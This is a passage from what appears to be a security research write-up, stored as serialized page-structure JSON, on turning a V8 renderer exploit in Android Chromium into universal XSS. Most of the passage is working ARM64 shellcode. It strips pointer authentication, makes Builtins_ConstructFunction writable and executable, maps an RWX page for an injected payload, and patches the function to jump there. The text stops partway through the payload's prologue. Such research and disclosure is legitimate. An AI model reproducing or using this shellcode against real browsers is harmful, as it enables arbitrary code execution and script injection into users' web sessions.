:1452},{"type":19,"tag":168,"props":136552,"children":136553},{"style":212},[136554],{"type":24,"value":471},{"type":19,"tag":168,"props":136556,"children":136557},{"style":192},[136558],{"type":24,"value":1452},{"type":19,"tag":168,"props":136560,"children":136561},{"style":212},[136562],{"type":24,"value":915},{"type":19,"tag":168,"props":136564,"children":136565},{"class":170,"line":1025},[136566,136570,136574,136578,136582,136586,136590,136594,136598,136602,136606,136611,136615,136620,136624,136629,136633,136637],{"type":19,"tag":168,"props":136567,"children":136568},{"style":192},[136569],{"type":24,"value":131684},{"type":19,"tag":168,"props":136571,"children":136572},{"style":212},[136573],{"type":24,"value":471},{"type":19,"tag":168,"props":136575,"children":136576},{"style":192},[136577],{"type":24,"value":1452},{"type":19,"tag":168,"props":136579,"children":136580},{"style":212},[136581],{"type":24,"value":471},{"type":19,"tag":168,"props":136583,"children":136584},{"style":192},[136585],{"type":24,"value":1452},{"type":19,"tag":168,"props":136587,"children":136588},{"style":212},[136589],{"type":24,"value":471},{"type":19,"tag":168,"props":136591,"children":136592},{"style":192},[136593],{"type":24,"value":1452},{"type":19,"tag":168,"props":136595,"children":136596},{"style":212},[136597],{"type":24,"value":471},{"type":19,"tag":168,"props":136599,"children":136600},{"style":192},[136601],{"type":24,"value":1452},{"type":19,"tag":168,"props":136603,"children":136604},{"style":212},[136605],{"type":24,"value":471},{"type":19,"tag":168,"props":136607,"children":136608},{"style":192},[136609],{"type":24,"value":136610},"92",{"type":19,"tag":168,"props":136612,"children":136613},{"style":212},[136614],{"type":24,"value":471},{"type":19,"tag":168,"props":136616,"children":136617},{"style":192},[136618],{"type":24,"value":136619},"50",{"type":19,"tag":168,"props":136621,"children":136622},{"style":212},[136623],{"type":24,"value":471},{"type":19,"tag":168,"props":136625,"children":136626},{"style":192},[136627],{"type":24,"value":136628},"162",{"type":19,"tag":168,"props":136630,"children":136631},{"style":212},[136632],{"type":24,"value":471},{"type":19,"tag":168,"props":136634,"children":136635},{"style":192},[136636],{"type":24,"value":1452},{"type":19,"tag":168,"props":136638,"children":136639},{"style":212},[136640],{"type":24,"value":915},{"type":19,"tag":168,"props":136642,"children":136643},{"class":170,"line":1042},[136644],{"type":19,"tag":168,"props":136645,"children":136646},{"style":212},[136647],{"type":24,"value":131971},{"type":19,"tag":168,"props":136649,"children":136650},{"class":170,"line":1055},[136651,136655,136659,136663,136667,136671,136675,136679,136683,136687,136691],{"type":19,"tag":168,"props":136652,"children":136653},{"style":382},[136654],{"type":24,"value":5292},{"type":19,"tag":168,"props":136656,"children":136657},{"style":393},[136658],{"type":24,"value":133424},{"type":19,"tag":168,"props":136660,"children":136661},{"style":399},[136662],{"type":24,"value":402},{"type":19,"tag":168,"props":136664,"children":136665},{"style":175},[136666],{"type":24,"value":133433},{"type":19,"tag":168,"props":136668,"children":136669},{"style":212},[136670],{"type":24,"value":500},{"type":19,"tag":168,"props":136672,"children":136673},{"style":393},[136674],{"type":24,"value":131302},{"type":19,"tag":168,"props":136676,"children":136677},{"style":212},[136678],{"type":24,"value":471},{"type":19,"tag":168,"props":136680,"children":136681},{"style":393},[136682],{"type":24,"value":122629},{"type":19,"tag":168,"props":136684,"children":136685},{"style":212},[136686],{"type":24,"value":948},{"type":19,"tag":168,"props":136688,"children":136689},{"style":393},[136690],{"type":24,"value":122629},{"type":19,"tag":168,"props":136692,"children":136693},{"style":212},[136694],{"type":24,"value":1249},{"type":19,"tag":168,"props":136696,"children":136697},{"class":170,"line":1064},[136698,136702,136706,136710,136714,136718,136722,136726,136730,136734],{"type":19,"tag":168,"props":136699,"children":136700},{"style":393},[136701],{"type":24,"value":133469},{"type":19,"tag":168,"props":136703,"children":136704},{"style":399},[136705],{"type":24,"value":402},{"type":19,"tag":168,"props":136707,"children":136708},{"style":212},[136709],{"type":24,"value":461},{"type":19,"tag":168,"props":136711,"children":136712},{"style":419},[136713],{"type":24,"value":30389},{"type":19,"tag":168,"props":136715,"children":136716},{"style":393},[136717],{"type":24,"value":133424},{"type":19,"tag":168,"props":136719,"children":136720},{"style":212},[136721],{"type":24,"value":948},{"type":19,"tag":168,"props":136723,"children":136724},{"style":175},[136725],{"type":24,"value":55049},{"type":19,"tag":168,"props":136727,"children":136728},{"style":212},[136729],{"type":24,"value":133498},{"type":19,"tag":168,"props":136731,"children":136732},{"style":393},[136733],{"type":24,"value":36627},{"type":19,"tag":168,"props":136735,"children":136736},{"style":212},[136737],{"type":24,"value":412},{"type":19,"tag":168,"props":136739,"children":136740},{"class":170,"line":1087},[136741,136745,136749,136753,136757,136762,136766,136770],{"type":19,"tag":168,"props":136742,"children":136743},{"style":393},[136744],{"type":24,"value":99431},{"type":19,"tag":168,"props":136746,"children":136747},{"style":212},[136748],{"type":24,"value":948},{"type":19,"tag":168,"props":136750,"children":136751},{"style":175},[136752],{"type":24,"value":99440},{"type":19,"tag":168,"props":136754,"children":136755},{"style":212},[136756],{"type":24,"value":500},{"type":19,"tag":168,"props":136758,"children":136759},{"style":181},[136760],{"type":24,"value":136761},"'DeserializeWasmModule result: '",{"type":19,"tag":168,"props":136763,"children":136764},{"style":399},[136765],{"type":24,"value":6343},{"type":19,"tag":168,"props":136767,"children":136768},{"style":393},[136769],{"type":24,"value":6600},{"type":19,"tag":168,"props":136771,"children":136772},{"style":212},[136773],{"type":24,"value":1249},{"type":19,"tag":168,"props":136775,"children":136776},{"class":170,"line":1096},[136777,136781,136785,136789,136793,136797,136801,136805,136809,136813],{"type":19,"tag":168,"props":136778,"children":136779},{"style":382},[136780],{"type":24,"value":33663},{"type":19,"tag":168,"props":136782,"children":136783},{"style":393},[136784],{"type":24,"value":133518},{"type":19,"tag":168,"props":136786,"children":136787},{"style":399},[136788],{"type":24,"value":402},{"type":19,"tag":168,"props":136790,"children":136791},{"style":382},[136792],{"type":24,"value":29405},{"type":19,"tag":168,"props":136794,"children":136795},{"style":393},[136796],{"type":24,"value":131285},{"type":19,"tag":168,"props":136798,"children":136799},{"style":212},[136800],{"type":24,"value":948},{"type":19,"tag":168,"props":136802,"children":136803},{"style":175},[136804],{"type":24,"value":131339},{"type":19,"tag":168,"props":136806,"children":136807},{"style":212},[136808],{"type":24,"value":500},{"type":19,"tag":168,"props":136810,"children":136811},{"style":393},[136812],{"type":24,"value":6522},{"type":19,"tag":168,"props":136814,"children":136815},{"style":212},[136816],{"type":24,"value":1249},{"type":19,"tag":168,"props":136818,"children":136819},{"class":170,"line":1105},[136820,136824,136828,136832,136836,136840,136844,136848,136852],{"type":19,"tag":168,"props":136821,"children":136822},{"style":382},[136823],{"type":24,"value":33663},{"type":19,"tag":168,"props":136825,"children":136826},{"style":393},[136827],{"type":24,"value":30444},{"type":19,"tag":168,"props":136829,"children":136830},{"style":399},[136831],{"type":24,"value":402},{"type":19,"tag":168,"props":136833,"children":136834},{"style":393},[136835],{"type":24,"value":133518},{"type":19,"tag":168,"props":136837,"children":136838},{"style":212},[136839],{"type":24,"value":948},{"type":19,"tag":168,"props":136841,"children":136842},{"style":393},[136843],{"type":24,"value":35361},{"type":19,"tag":168,"props":136845,"children":136846},{"style":212},[136847],{"type":24,"value":948},{"type":19,"tag":168,"props":136849,"children":136850},{"style":393},[136851],{"type":24,"value":131388},{"type":19,"tag":168,"props":136853,"children":136854},{"style":212},[136855],{"type":24,"value":412},{"type":19,"tag":168,"props":136857,"children":136858},{"class":170,"line":1174},[136859,136863,136867,136871,136875,136879],{"type":19,"tag":168,"props":136860,"children":136861},{"style":393},[136862],{"type":24,"value":99431},{"type":19,"tag":168,"props":136864,"children":136865},{"style":212},[136866],{"type":24,"value":948},{"type":19,"tag":168,"props":136868,"children":136869},{"style":175},[136870],{"type":24,"value":99440},{"type":19,"tag":168,"props":136872,"children":136873},{"style":212},[136874],{"type":24,"value":500},{"type":19,"tag":168,"props":136876,"children":136877},{"style":393},[136878],{"type":24,"value":30558},{"type":19,"tag":168,"props":136880,"children":136881},{"style":212},[136882],{"type":24,"value":1249},{"type":19,"tag":168,"props":136884,"children":136885},{"class":170,"line":1182},[136886],{"type":19,"tag":168,"props":136887,"children":136888},{"style":212},[136889],{"type":24,"value":99472},{"type":19,"tag":20,"props":136891,"children":136892},{},[136893],{"type":24,"value":136894},"And this time, it works as expected:",{"type":19,"tag":20,"props":136896,"children":136897},{},[136898],{"type":19,"tag":1344,"props":136899,"children":136902},{"alt":136900,"src":136901},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":19,"tag":7050,"props":136904,"children":136906},{"id":136905},"achieving-universal-xss",[136907],{"type":24,"value":136908},"Achieving Universal XSS",{"type":19,"tag":20,"props":136910,"children":136911},{},[136912,136914,136920,136922,136929],{"type":24,"value":136913},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":19,"tag":269,"props":136915,"children":136918},{"href":136916,"rel":136917},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[273],[136919],{"type":24,"value":67818},{"type":24,"value":136921}," from Tencent Security and ",{"type":19,"tag":269,"props":136923,"children":136926},{"href":136924,"rel":136925},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[273],[136927],{"type":24,"value":136928},"research article",{"type":24,"value":136930}," from InterruptLabs.",{"type":19,"tag":20,"props":136932,"children":136933},{},[136934,136936,136943],{"type":24,"value":136935},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":19,"tag":269,"props":136937,"children":136940},{"href":136938,"rel":136939},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[273],[136941],{"type":24,"value":136942},"weaker version",{"type":24,"value":136944}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":19,"tag":20,"props":136946,"children":136947},{},[136948,136950,136956],{"type":24,"value":136949},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":19,"tag":27,"props":136951,"children":136953},{"className":136952},[],[136954],{"type":24,"value":136955},"Builtins_ConstructFunction",{"type":24,"value":136957},", making it a natural target.",{"type":19,"tag":20,"props":136959,"children":136960},{},[136961,136963,136968],{"type":24,"value":136962},"Our goal is for ",{"type":19,"tag":27,"props":136964,"children":136966},{"className":136965},[],[136967],{"type":24,"value":136955},{"type":24,"value":136969}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":19,"tag":43,"props":136971,"children":136972},{},[136973,136978,136988],{"type":19,"tag":47,"props":136974,"children":136975},{},[136976],{"type":24,"value":136977},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":19,"tag":47,"props":136979,"children":136980},{},[136981,136983],{"type":24,"value":136982},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":19,"tag":27,"props":136984,"children":136986},{"className":136985},[],[136987],{"type":24,"value":136955},{"type":19,"tag":47,"props":136989,"children":136990},{},[136991,136993,136998],{"type":24,"value":136992},"The mmap-ed shellcode then returns to the beginning of ",{"type":19,"tag":27,"props":136994,"children":136996},{"className":136995},[],[136997],{"type":24,"value":136955},{"type":24,"value":136999},", which now proceeds normally",{"type":19,"tag":20,"props":137001,"children":137002},{},[137003],{"type":24,"value":137004},"The ARM64 shellcode implementing this looks as follows:",{"type":19,"tag":158,"props":137006,"children":137010},{"code":137007,"language":137008,"meta":7,"className":137009,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[137011],{"type":19,"tag":27,"props":137012,"children":137013},{"__ignoreMap":7},[137014,137022,137030,137038,137046,137053,137061,137069,137077,137085,137092,137100,137108,137116,137124,137132,137139,137147,137155,137163,137171,137179,137187,137194,137202,137209,137217,137225,137233,137240,137248,137256,137264,137272,137279,137286,137293,137300,137308,137316,137324,137331,137339,137347,137354,137362,137370,137378,137385,137393,137401,137409,137417,137424,137431,137439],{"type":19,"tag":168,"props":137015,"children":137016},{"class":170,"line":171},[137017],{"type":19,"tag":168,"props":137018,"children":137019},{},[137020],{"type":24,"value":137021},"// get return addr to x0\n",{"type":19,"tag":168,"props":137023,"children":137024},{"class":170,"line":198},[137025],{"type":19,"tag":168,"props":137026,"children":137027},{},[137028],{"type":24,"value":137029},"ldr x0, [sp, #0x18]\n",{"type":19,"tag":168,"props":137031,"children":137032},{"class":170,"line":415},[137033],{"type":19,"tag":168,"props":137034,"children":137035},{},[137036],{"type":24,"value":137037},"// strip pac signature from return address\n",{"type":19,"tag":168,"props":137039,"children":137040},{"class":170,"line":450},[137041],{"type":19,"tag":168,"props":137042,"children":137043},{},[137044],{"type":24,"value":137045},".arch armv8.3-a; xpaci x0\n",{"type":19,"tag":168,"props":137047,"children":137048},{"class":170,"line":560},[137049],{"type":19,"tag":168,"props":137050,"children":137051},{"emptyLinePlaceholder":14},[137052],{"type":24,"value":1093},{"type":19,"tag":168,"props":137054,"children":137055},{"class":170,"line":666},[137056],{"type":19,"tag":168,"props":137057,"children":137058},{},[137059],{"type":24,"value":137060},"// store x5 = Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":137062,"children":137063},{"class":170,"line":694},[137064],{"type":19,"tag":168,"props":137065,"children":137066},{},[137067],{"type":24,"value":137068},"movz x1, #0x610c\n",{"type":19,"tag":168,"props":137070,"children":137071},{"class":170,"line":707},[137072],{"type":19,"tag":168,"props":137073,"children":137074},{},[137075],{"type":24,"value":137076},"sub x0, x0, x1\n",{"type":19,"tag":168,"props":137078,"children":137079},{"class":170,"line":725},[137080],{"type":19,"tag":168,"props":137081,"children":137082},{},[137083],{"type":24,"value":137084},"mov x5, x0\n",{"type":19,"tag":168,"props":137086,"children":137087},{"class":170,"line":746},[137088],{"type":19,"tag":168,"props":137089,"children":137090},{"emptyLinePlaceholder":14},[137091],{"type":24,"value":1093},{"type":19,"tag":168,"props":137093,"children":137094},{"class":170,"line":755},[137095],{"type":19,"tag":168,"props":137096,"children":137097},{},[137098],{"type":24,"value":137099},"// store x4 = page aligned ConstructFunction\n",{"type":19,"tag":168,"props":137101,"children":137102},{"class":170,"line":1008},[137103],{"type":19,"tag":168,"props":137104,"children":137105},{},[137106],{"type":24,"value":137107},"movz x1, #0xf000\n",{"type":19,"tag":168,"props":137109,"children":137110},{"class":170,"line":1025},[137111],{"type":19,"tag":168,"props":137112,"children":137113},{},[137114],{"type":24,"value":137115},"movk x1, #0xffff, lsl #16\n",{"type":19,"tag":168,"props":137117,"children":137118},{"class":170,"line":1042},[137119],{"type":19,"tag":168,"props":137120,"children":137121},{},[137122],{"type":24,"value":137123},"movk x1, #0xffff, lsl #32\n",{"type":19,"tag":168,"props":137125,"children":137126},{"class":170,"line":1055},[137127],{"type":19,"tag":168,"props":137128,"children":137129},{},[137130],{"type":24,"value":137131},"and x4, x5, x1\n",{"type":19,"tag":168,"props":137133,"children":137134},{"class":170,"line":1064},[137135],{"type":19,"tag":168,"props":137136,"children":137137},{"emptyLinePlaceholder":14},[137138],{"type":24,"value":1093},{"type":19,"tag":168,"props":137140,"children":137141},{"class":170,"line":1087},[137142],{"type":19,"tag":168,"props":137143,"children":137144},{},[137145],{"type":24,"value":137146},"// mprotect page aligned ConstructFunction RWX\n",{"type":19,"tag":168,"props":137148,"children":137149},{"class":170,"line":1096},[137150],{"type":19,"tag":168,"props":137151,"children":137152},{},[137153],{"type":24,"value":137154},"mov x0, x4\n",{"type":19,"tag":168,"props":137156,"children":137157},{"class":170,"line":1105},[137158],{"type":19,"tag":168,"props":137159,"children":137160},{},[137161],{"type":24,"value":137162},"mov x1, #0x2000\n",{"type":19,"tag":168,"props":137164,"children":137165},{"class":170,"line":1174},[137166],{"type":19,"tag":168,"props":137167,"children":137168},{},[137169],{"type":24,"value":137170},"mov x2, #0x7\n",{"type":19,"tag":168,"props":137172,"children":137173},{"class":170,"line":1182},[137174],{"type":19,"tag":168,"props":137175,"children":137176},{},[137177],{"type":24,"value":137178},"mov x8, #226\n",{"type":19,"tag":168,"props":137180,"children":137181},{"class":170,"line":1212},[137182],{"type":19,"tag":168,"props":137183,"children":137184},{},[137185],{"type":24,"value":137186},"svc #0\n",{"type":19,"tag":168,"props":137188,"children":137189},{"class":170,"line":1220},[137190],{"type":19,"tag":168,"props":137191,"children":137192},{"emptyLinePlaceholder":14},[137193],{"type":24,"value":1093},{"type":19,"tag":168,"props":137195,"children":137196},{"class":170,"line":1252},[137197],{"type":19,"tag":168,"props":137198,"children":137199},{},[137200],{"type":24,"value":137201},"mov x6, x5\n",{"type":19,"tag":168,"props":137203,"children":137204},{"class":170,"line":1260},[137205],{"type":19,"tag":168,"props":137206,"children":137207},{"emptyLinePlaceholder":14},[137208],{"type":24,"value":1093},{"type":19,"tag":168,"props":137210,"children":137211},{"class":170,"line":1320},[137212],{"type":19,"tag":168,"props":137213,"children":137214},{},[137215],{"type":24,"value":137216},"// mmap RWX for jump dest (uxss_sc)\n",{"type":19,"tag":168,"props":137218,"children":137219},{"class":170,"line":6486},[137220],{"type":19,"tag":168,"props":137221,"children":137222},{},[137223],{"type":24,"value":137224},"mov x0, #0\n",{"type":19,"tag":168,"props":137226,"children":137227},{"class":170,"line":6504},[137228],{"type":19,"tag":168,"props":137229,"children":137230},{},[137231],{"type":24,"value":137232},"mov x1, #0x1000\n",{"type":19,"tag":168,"props":137234,"children":137235},{"class":170,"line":6549},[137236],{"type":19,"tag":168,"props":137237,"children":137238},{},[137239],{"type":24,"value":137170},{"type":19,"tag":168,"props":137241,"children":137242},{"class":170,"line":6655},[137243],{"type":19,"tag":168,"props":137244,"children":137245},{},[137246],{"type":24,"value":137247},"mov x3, #34\n",{"type":19,"tag":168,"props":137249,"children":137250},{"class":170,"line":20965},[137251],{"type":19,"tag":168,"props":137252,"children":137253},{},[137254],{"type":24,"value":137255},"mov x4, #-1\n",{"type":19,"tag":168,"props":137257,"children":137258},{"class":170,"line":21000},[137259],{"type":19,"tag":168,"props":137260,"children":137261},{},[137262],{"type":24,"value":137263},"mov x5, #0\n",{"type":19,"tag":168,"props":137265,"children":137266},{"class":170,"line":21008},[137267],{"type":19,"tag":168,"props":137268,"children":137269},{},[137270],{"type":24,"value":137271},"mov x8, #222\n",{"type":19,"tag":168,"props":137273,"children":137274},{"class":170,"line":21016},[137275],{"type":19,"tag":168,"props":137276,"children":137277},{},[137278],{"type":24,"value":137186},{"type":19,"tag":168,"props":137280,"children":137281},{"class":170,"line":21025},[137282],{"type":19,"tag":168,"props":137283,"children":137284},{"emptyLinePlaceholder":14},[137285],{"type":24,"value":1093},{"type":19,"tag":168,"props":137287,"children":137288},{"class":170,"line":21067},[137289],{"type":19,"tag":168,"props":137290,"children":137291},{},[137292],{"type":24,"value":137084},{"type":19,"tag":168,"props":137294,"children":137295},{"class":170,"line":21100},[137296],{"type":19,"tag":168,"props":137297,"children":137298},{"emptyLinePlaceholder":14},[137299],{"type":24,"value":1093},{"type":19,"tag":168,"props":137301,"children":137302},{"class":170,"line":21108},[137303],{"type":19,"tag":168,"props":137304,"children":137305},{},[137306],{"type":24,"value":137307},"// at this point:\n",{"type":19,"tag":168,"props":137309,"children":137310},{"class":170,"line":21116},[137311],{"type":19,"tag":168,"props":137312,"children":137313},{},[137314],{"type":24,"value":137315},"// x6 = Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":137317,"children":137318},{"class":170,"line":21125},[137319],{"type":19,"tag":168,"props":137320,"children":137321},{},[137322],{"type":24,"value":137323},"// x5 = mmap page for uxss_sc\n",{"type":19,"tag":168,"props":137325,"children":137326},{"class":170,"line":21201},[137327],{"type":19,"tag":168,"props":137328,"children":137329},{"emptyLinePlaceholder":14},[137330],{"type":24,"value":1093},{"type":19,"tag":168,"props":137332,"children":137333},{"class":170,"line":21234},[137334],{"type":19,"tag":168,"props":137335,"children":137336},{},[137337],{"type":24,"value":137338},"// write uxss_sc to mmaped rwx page\n",{"type":19,"tag":168,"props":137340,"children":137341},{"class":170,"line":21242},[137342],{"type":19,"tag":168,"props":137343,"children":137344},{},[137345],{"type":24,"value":137346},"{write_sc(uxss_sc, \"x5\")}\n",{"type":19,"tag":168,"props":137348,"children":137349},{"class":170,"line":21250},[137350],{"type":19,"tag":168,"props":137351,"children":137352},{"emptyLinePlaceholder":14},[137353],{"type":24,"value":1093},{"type":19,"tag":168,"props":137355,"children":137356},{"class":170,"line":21287},[137357],{"type":19,"tag":168,"props":137358,"children":137359},{},[137360],{"type":24,"value":137361},"// wipe from cache\n",{"type":19,"tag":168,"props":137363,"children":137364},{"class":170,"line":21300},[137365],{"type":19,"tag":168,"props":137366,"children":137367},{},[137368],{"type":24,"value":137369},"mov x0, x5\n",{"type":19,"tag":168,"props":137371,"children":137372},{"class":170,"line":21313},[137373],{"type":19,"tag":168,"props":137374,"children":137375},{},[137376],{"type":24,"value":137377},"{WIPE_CACHE}\n",{"type":19,"tag":168,"props":137379,"children":137380},{"class":170,"line":21326},[137381],{"type":19,"tag":168,"props":137382,"children":137383},{"emptyLinePlaceholder":14},[137384],{"type":24,"value":1093},{"type":19,"tag":168,"props":137386,"children":137387},{"class":170,"line":21380},[137388],{"type":19,"tag":168,"props":137389,"children":137390},{},[137391],{"type":24,"value":137392},"// patch Builtins_ConstructFunction\n",{"type":19,"tag":168,"props":137394,"children":137395},{"class":170,"line":21389},[137396],{"type":19,"tag":168,"props":137397,"children":137398},{},[137399],{"type":24,"value":137400},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":19,"tag":168,"props":137402,"children":137403},{"class":170,"line":29753},[137404],{"type":19,"tag":168,"props":137405,"children":137406},{},[137407],{"type":24,"value":137408},"// and add a pointer to uxss_sc just above new instructions\n",{"type":19,"tag":168,"props":137410,"children":137411},{"class":170,"line":29774},[137412],{"type":19,"tag":168,"props":137413,"children":137414},{},[137415],{"type":24,"value":137416},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":19,"tag":168,"props":137418,"children":137419},{"class":170,"line":78440},[137420],{"type":19,"tag":168,"props":137421,"children":137422},{"emptyLinePlaceholder":14},[137423],{"type":24,"value":1093},{"type":19,"tag":168,"props":137425,"children":137426},{"class":170,"line":78453},[137427],{"type":19,"tag":168,"props":137428,"children":137429},{},[137430],{"type":24,"value":137361},{"type":19,"tag":168,"props":137432,"children":137433},{"class":170,"line":78461},[137434],{"type":19,"tag":168,"props":137435,"children":137436},{},[137437],{"type":24,"value":137438},"mov x0, x6\n",{"type":19,"tag":168,"props":137440,"children":137441},{"class":170,"line":78469},[137442],{"type":19,"tag":168,"props":137443,"children":137444},{},[137445],{"type":24,"value":137377},{"type":19,"tag":20,"props":137447,"children":137448},{},[137449,137451,137457,137459,137464,137466,137472],{"type":24,"value":137450},"In the snippet above, ",{"type":19,"tag":27,"props":137452,"children":137454},{"className":137453},[],[137455],{"type":24,"value":137456},"new_compile_instrs",{"type":24,"value":137458}," refers to the instructions written to the beginning of ",{"type":19,"tag":27,"props":137460,"children":137462},{"className":137461},[],[137463],{"type":24,"value":136955},{"type":24,"value":137465}," that invoke the ",{"type":19,"tag":27,"props":137467,"children":137469},{"className":137468},[],[137470],{"type":24,"value":137471},"uxss_sc",{"type":24,"value":137473}," mmap-ed shellcode:",{"type":19,"tag":158,"props":137475,"children":137477},{"code":137476,"language":137008,"meta":7,"className":137009,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[137478],{"type":19,"tag":27,"props":137479,"children":137480},{"__ignoreMap":7},[137481,137489,137496,137504,137512,137519,137527,137535,137542,137550,137558,137565,137573],{"type":19,"tag":168,"props":137482,"children":137483},{"class":170,"line":171},[137484],{"type":19,"tag":168,"props":137485,"children":137486},{},[137487],{"type":24,"value":137488},"bti c\n",{"type":19,"tag":168,"props":137490,"children":137491},{"class":170,"line":198},[137492],{"type":19,"tag":168,"props":137493,"children":137494},{"emptyLinePlaceholder":14},[137495],{"type":24,"value":1093},{"type":19,"tag":168,"props":137497,"children":137498},{"class":170,"line":415},[137499],{"type":19,"tag":168,"props":137500,"children":137501},{},[137502],{"type":24,"value":137503},"// store registers that will be overwritten\n",{"type":19,"tag":168,"props":137505,"children":137506},{"class":170,"line":450},[137507],{"type":19,"tag":168,"props":137508,"children":137509},{},[137510],{"type":24,"value":137511},"stp x15, lr, [sp, #-16]!\n",{"type":19,"tag":168,"props":137513,"children":137514},{"class":170,"line":560},[137515],{"type":19,"tag":168,"props":137516,"children":137517},{"emptyLinePlaceholder":14},[137518],{"type":24,"value":1093},{"type":19,"tag":168,"props":137520,"children":137521},{"class":170,"line":666},[137522],{"type":19,"tag":168,"props":137523,"children":137524},{},[137525],{"type":24,"value":137526},"// get current rip into x15\n",{"type":19,"tag":168,"props":137528,"children":137529},{"class":170,"line":694},[137530],{"type":19,"tag":168,"props":137531,"children":137532},{},[137533],{"type":24,"value":137534},"adr x15, .\n",{"type":19,"tag":168,"props":137536,"children":137537},{"class":170,"line":707},[137538],{"type":19,"tag":168,"props":137539,"children":137540},{"emptyLinePlaceholder":14},[137541],{"type":24,"value":1093},{"type":19,"tag":168,"props":137543,"children":137544},{"class":170,"line":725},[137545],{"type":19,"tag":168,"props":137546,"children":137547},{},[137548],{"type":24,"value":137549},"// load the uxss_sc pointer saved just above new instructions\n",{"type":19,"tag":168,"props":137551,"children":137552},{"class":170,"line":746},[137553],{"type":19,"tag":168,"props":137554,"children":137555},{},[137556],{"type":24,"value":137557},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":19,"tag":168,"props":137559,"children":137560},{"class":170,"line":755},[137561],{"type":19,"tag":168,"props":137562,"children":137563},{"emptyLinePlaceholder":14},[137564],{"type":24,"value":1093},{"type":19,"tag":168,"props":137566,"children":137567},{"class":170,"line":1008},[137568],{"type":19,"tag":168,"props":137569,"children":137570},{},[137571],{"type":24,"value":137572},"// jump to uxss_sc\n",{"type":19,"tag":168,"props":137574,"children":137575},{"class":170,"line":1025},[137576],{"type":19,"tag":168,"props":137577,"children":137578},{},[137579],{"type":24,"value":137580},"blr x15\n",{"type":19,"tag":20,"props":137582,"children":137583},{},[137584,137589,137591,137596],{"type":19,"tag":27,"props":137585,"children":137587},{"className":137586},[],[137588],{"type":24,"value":137471},{"type":24,"value":137590}," is the mmap-ed shellcode invoked by the patched ",{"type":19,"tag":27,"props":137592,"children":137594},{"className":137593},[],[137595],{"type":24,"value":136955},{"type":24,"value":137597}," to execute our XSS payload. Its prologue looks like this:",{"type":19,"tag":158,"props":137599,"children":137601},{"code":137600,"language":137008,"meta":7,"className":137009,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[137602],{"type":19,"tag":27,"props":137603,"children":137604},{"__ignoreMap":7},[137605,137612,137619,137627,137635,137643,137651,137659,137667,137675,137683,137691,137699,137707,137715,137723,137731,137739,137747],{"type":19,"tag":168,"props":137606,"children":137607},{"class":170,"line":171},[137608],{"type":19,"tag":168,"props":137609,"children":137610},{},[137611],{"type":24,"value":137488},{"type":19,"tag":168,"props":137613,"children":137614},{"class":170,"line":198},[137615],{"type":19,"tag":168,"props":137616,"children":137617},{"emptyLinePlaceholder":14},[137618],{"type":24,"value":1093},{"type":19,"tag":168,"props":137620,"children":137621},{"class":170,"line":415},[137622],{"type":19,"tag":168,"props":137623,"children":137624},{},[137625],{"type":24,"value":137626},"// Save full register 